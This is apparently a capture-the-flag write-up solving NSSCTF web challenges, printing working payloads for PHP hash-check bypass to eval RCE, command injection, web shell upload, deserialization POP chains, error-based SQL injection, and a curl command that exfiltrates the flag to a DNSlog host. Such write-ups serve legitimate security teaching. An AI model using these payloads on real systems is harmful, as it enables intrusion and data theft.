Web
colorful_snake
Come play with Snake~
F12 to view the source code, you can see the this_is_real_flag
function and find that it is unicode encoding
Use website conversion to get flag
One-click connection!
Need again and again
<?php highlight_file(__FILE__); error_reporting(0); $md5_1 = $_GET['md5_1']; $md5_2 = $_GET['md5_2']; $sha1_1 = $_GET['sha1_1']; $sha1_2 = $_GET['sha1_2']; $new_player =$_GET['new_player']; if ($md5_1 !== $md5_2 & amp; & amp; md5($md5_1) === md5($md5_2)) {<!-- --> if ($sha1_1 != $sha1_2 & amp; & amp; sha1($sha1_1) === sha1($sha1_2)) {<!-- --> if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {<!-- --> echo "Congratulations~~~~~~~~~"; echo "Try need Antsword<br/>"; @eval($_POST['Nss']); }else{<!-- --> echo "Have you ever heard of the data protocol?"; } } else {<!-- --> echo "How can sha1 be equal"; } } else {<!-- --> echo "How to make md5 values equal?"; }
The first level should make md5_1
and md5_2
have the same strong comparison type after md5 encryption, and md5_1
should not be equal to md5_2
, here you can use an array to bypass
Construct payload
?md5_1[]=1 & amp;md5_2[]=2
The second layer is to bypass sha1
encryption. Arrays can also be used here.
payload:
sha1_1[]=3 & amp;sha1_2[]=4
Next, you can see file_get_contents
. The content of this function is to display the file content. You can use the data
protocol to pass in the data stream.
payload:
new_player=data://text/plain,Welcome to NSSCTF!!!
Next, use Nss
to perform RCE, and the final package is as follows
?md5_1[]=1 & amp;md5_2[]=2 & amp;sha1_1[]=3 & amp;sha1_2[]=4 & amp;new_player=data://text/plain,Welcome to NSSCTF! !! POST DATA: Nss=system('cat /f*');
NSS_HTTP_CHEKER
Come check out your HTTP knowledge base!
Okay, okay, I like this, I bought it right away
Burp delivers the package as follows:
ez_talk
none
To upload files, first directly upload a php
file
Tried changing the MIME
type, but it was filtered
I guess there is file header detection. Add the file header GIF89a?
and you can see that it is bypassed and the path is flipped.
direct interview
http://node6.anna.nssctf.cn:28908/uploads/shell.php
You can see that the horse has been mounted successfully, and you can directly RCE to get the flag.
Pingpingping
Program is not responding
<?php highlight_file(__FILE__); error_reporting(0); $_ping = $_GET['Ping_ip.exe']; if(isset($_ping)){<!-- --> system("ping -c 3 ".$_ping); }else{<!-- --> $data = base64_encode(file_get_contents("error.png")); echo "<img src='data:image/png;base64,$data'/>"; }
After getting the source code, we can know through simple code audit that we need to pass the parameter Ping_ip.exe
, and then execute system(ping -c 3 + the value we passed in)
But this involves the problem of PHP illegal parameter passing
, that is, if Ping_ip.exe
is passed in directly, it will be parsed into Ping_ip_exe
in PHP. , so we change the original parameter’s _
to [
to pass in the correct parameters.
Construct payload:
?Ping[ip.exe=127.0.0.1|ls /
Successfully scanned root directory
Next, just get the flag directly
?Ping[ip.exe=127.0.0.1|cat /f*
UnS3rialize
Let’s do some deserialization
Give source code
<?php highlight_file(__FILE__); error_reporting(0); class NSS {<!-- --> public $cmd; function __invoke() {<!-- --> echo "Congratulations!!!You have learned to construct a POP chain<br/>"; system($this->cmd); } function __wakeup() {<!-- --> echo "W4keup!!!<br/>"; $this->cmd = "echo Welcome to NSSCTF"; } } class C {<!-- --> public $whoami; function __get($argv) {<!-- --> echo "what do you want?"; $want = $this->whoami; return $want(); } } class T {<!-- --> public $sth; function __toString() {<!-- --> echo "Now you know how to use __toString<br/>There is more than one way to trigger"; return $this->sth->var; } } class F {<!-- --> public $user = "nss"; public $passwd = "ctf"; public $notes; function __construct($user, $passwd) {<!-- --> $this->user = $user; $this->passwd = $passwd; } function __destruct() {<!-- --> if ($this->user === "SWPU" & amp; & amp; $this->passwd === "NSS") {<!-- --> echo "Now you know how to use __construct<br/>"; echo "your notes".$this->notes; }else{<!-- --> die("N0!"); } } } if (isset($_GET['ser'])) {<!-- --> $ser = unserialize(base64_decode($_GET['ser'])); } else {<!-- --> echo "Let's do some deserialization :)"; }
Examine deserialization and look for the pop chain backwards
You can see that in the NSS
class, there is the __invoke()
magic method, which contains functions that can execute system commands, so this is our end point
__invoke() magic method: This method is executed when using the object as a function
Continuing to look up, this may not be obvious, it is in the return $want();
of the C
class, where want
is treated as a function Processing, the triggering method is the __get()
magic method
__get(): called when obtaining a member variable of a class, used to trigger when obtaining a value from an inaccessible member
Look up, return $this->sth->var;
in the T
class. Here we hope to return the var in the
, but it does not exist, so the sth
class. Attribute__get()
magic method can be triggered through this statement, but the prerequisite is that the __toString()
magic method is triggered first
__toString(): Triggered when an object is used as a string
The last is the echo
statement of the __destruct()
magic method in the F
class, which uses notes
as a string Processing, this is the trigger point of the pop chain, because __desrtuct()
will automatically trigger
__destruct(): triggered when the object is destroyed
The final pop chain is as follows
NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct
Construct exp from this. Since __wakeup()
needs to be bypassed here, base64_encode
will not be added first.
<?php class NSS {<!-- --> public $cmd; function __construct(){<!-- --> $this ->cmd = "ls /"; } } class C {<!-- --> public $whoami; function__construct() {<!-- --> $this ->whoami = new NSS(); } } class T {<!-- --> public $sth; function __construct(){<!-- --> $this ->sth = new C(); } } class F {<!-- --> public $user; public $passwd; public $notes; function__construct() {<!-- --> $this->user = "SWPU"; $this->passwd = "NSS"; $this->notes = new T(); } } $a = new F(); echo (serialize($a));
Run to get
O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3: "NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1 :{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
Then modify it and use the object’s inconsistent number of attributes method to bypass, and modify it to get
O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3: "NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1 :{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
Then base64 encode
TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2 hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K
Pass parameters to execute the command
Then the command to modify the script is cat /f*
. Repeat the steps to get the flag.
payload:
TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2 hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K
RCE-PLUS
How to read the flag without echo?
If there is no RCE echo, you can read this article.
[CTF] Command execution without echo exploit
Here, DNSlog is used to directly bring out the flag.
Click Get SubDomain
to get the domain name, and then follow the format of the article
cmd=curl `command`.domain name
The payload is as follows:
http://node6.anna.nssctf.cn:28181/?cmd=curl `cat /f*`.vv5yp9.dnslog.cn
Then click Refresh Record
and you can see that the flag has been brought out.
Modify the format and it will be the correct flag.
Check need
I am reborn as the owner of a black and white explosion oil expert!
hint1: There are hints in the front-end source code, and pay attention to the parameters used, or just pick up your favorite kali and start it with one click?
Since I mentioned that there are hints in the front-end code, let’s take a look.
Then now on the student list, just find a name
What we are investigating is SQL injection
, so first look for the injection point and closure method.
The injection point here should be student_id
, because it can be clearly seen that in the error statement, password
is encrypted by md5, so the injection point can be determined
After trial and error, I found that the closing method is ""(double quotes)
, then try union
union query injection first, and first determine the display position
An error will be reported when the display bits are different, but an error will be reported when the display bits are the same.
Later I found out that it was a problem with the sql statement, that is, the
;
Now that you have seen the error, try error injection
Payload explodes:
name=Xue Ziman & amp;student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) -- + # & amp;password=11111
It seems that the idea is right, the next step is to explode
name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) -- + &password=11111
Then explode the field
name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'), 0x7e),3) -- + & amp;password=11111
However, this payload cannot be displayed completely. Modify it slightly to display the subsequent field names.
name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students' ),31,40),0x7e),3) -- + & amp;password=11111
Found that there is no flag, see if there is a flag hidden in the table, no. . . .
I don’t know where the flag is hidden
Supplement
Sorry, I re-read the question after the game and found that the flag is actually hidden in the last item in the grade
field. I plan to use the list to find the flag directly.
Use burp to blast, first send it to the tester, and add name
to the variable
Import the list, copy the student list to txt
, and then import
Start blasting
At this. . . I took it, but my brain waves didn’t match.
If_else
A master like you must have great skills
One day, NSSCTF gives you an opportunity to customize the conditions in if. After submitting, visit check.php to view the results. Submission method$_POST["check"] Remember to visit check.php~ Contents of check.php <?php $a=false; $b=false; if (the part you submitted will be written here) {<!-- -->$a=true;} else {<!-- -->$b=true;} if($a===true & amp; & amp;$b===true) eval(system(cat /flag)); ?>
I don’t know what this question tests. . . Maybe it’s a test of how to write in PHP?
$
is banned and cannot be used, then execute system(cat /f*)
directly
The payload is placed directly below
check=11==11){ system('cat /f*');} /*
After passing it in, visit check.php
to get the flag
backup
Ever heard of backup files?
hint prompts you to back up the file. Directly visit www.zip
to get the source code.
<?php error_reporting(0); require_once("flag.php"); class popmart{<!-- --> public $yuki; public $molly; public $dimoo; public function __construct(){<!-- --> $this->yuki='tell me where'; $this->molly='dont_tell_you'; $this->dimoo="you_can_guess"; } public function __wakeup(){<!-- --> global $flag; global $where_you_go; $this->yuki=$where_you_go; if($this->molly === $this->yuki){<!-- --> echo $flag; } } } $pucky = $_GET['wq']; if(isset($pucky)){<!-- --> if($pucky==="Erxian Bridge"){<!-- --> extract($_POST); if($pucky==="Erxian Bridge"){<!-- --> die("<script>window.alert('Tell me, where are you going');</script>"); } unserialize($pucky); } }
It seems that we need to make wq
equal to erxianqiao
to enter the first if
statement, and then bypass the second if
statement to deserialize
After entering unserialize
, __wakeup()
will assign a value. If molly===yuki
then you can get the flag
The first point is to bypass the second if
. Here you can directly variable override
. Of course, sending wq
for both GET and POST will not work. Yes, just send pucky
in POST
Then use reference bypassing during deserialization. The exp is as follows
<?php class popmart{<!-- --> public $yuki; public $molly; public $dimoo; } $a=new popmart(); $a->molly= & amp;$a->yuki; echo serialize($a);
Run to get
O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo\ ";N;}
Just pass it in directly in the p0pmart.php
interface.